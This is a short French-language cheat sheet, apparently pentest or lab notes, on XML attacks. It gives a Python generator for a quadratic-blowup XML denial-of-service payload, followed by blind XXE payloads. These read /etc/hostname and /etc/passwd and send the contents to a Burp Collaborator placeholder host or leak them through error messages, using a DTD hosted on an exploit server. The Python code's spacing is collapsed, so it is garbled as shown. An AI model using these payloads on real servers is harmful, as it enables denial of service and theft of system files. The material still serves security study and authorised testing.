Si un attaquant définit l’entité &x; avec 55000 caractères et se réfère à cette entité 55000 fois à l’intérieur de l’élément "DoS", l’analyseur se retrouve avec une charge utile d’attaque de blowup quadratique XML légèrement supérieure à 200 Ko qui passe à 2,5 Go lors du parsing.
Script python:
#!/usr/bin/python3NUM =55000defmain(): entity ='A'* NUM refs ='&x;'* NUM templ ='''<?xml version="1.0"?> <!DOCTYPE DoS [ <!ENTITY x "{entity}"> ]> <DoS>{entityReferences}</DoS> '''.format(entity=entity, entityReferences=refs)print(templ)if__name__=='__main__':main()
Zip bomb
Exfiltration de données
Avec Burp collab
Exploit server
Mettre ce payload dans un fichier .dtd
<!ENTITY % file SYSTEM "file:///etc/hostname"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">%eval;%exfil;
Victim server
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://EXPLOIT-SERVER/exploit.dtd"> %xxe;]>
Via message d'erreur
Exploit server
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">%eval;%exfil;
Victim server
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://EXPLOIT-SERVER/exploit.dtd"> %xxe;]>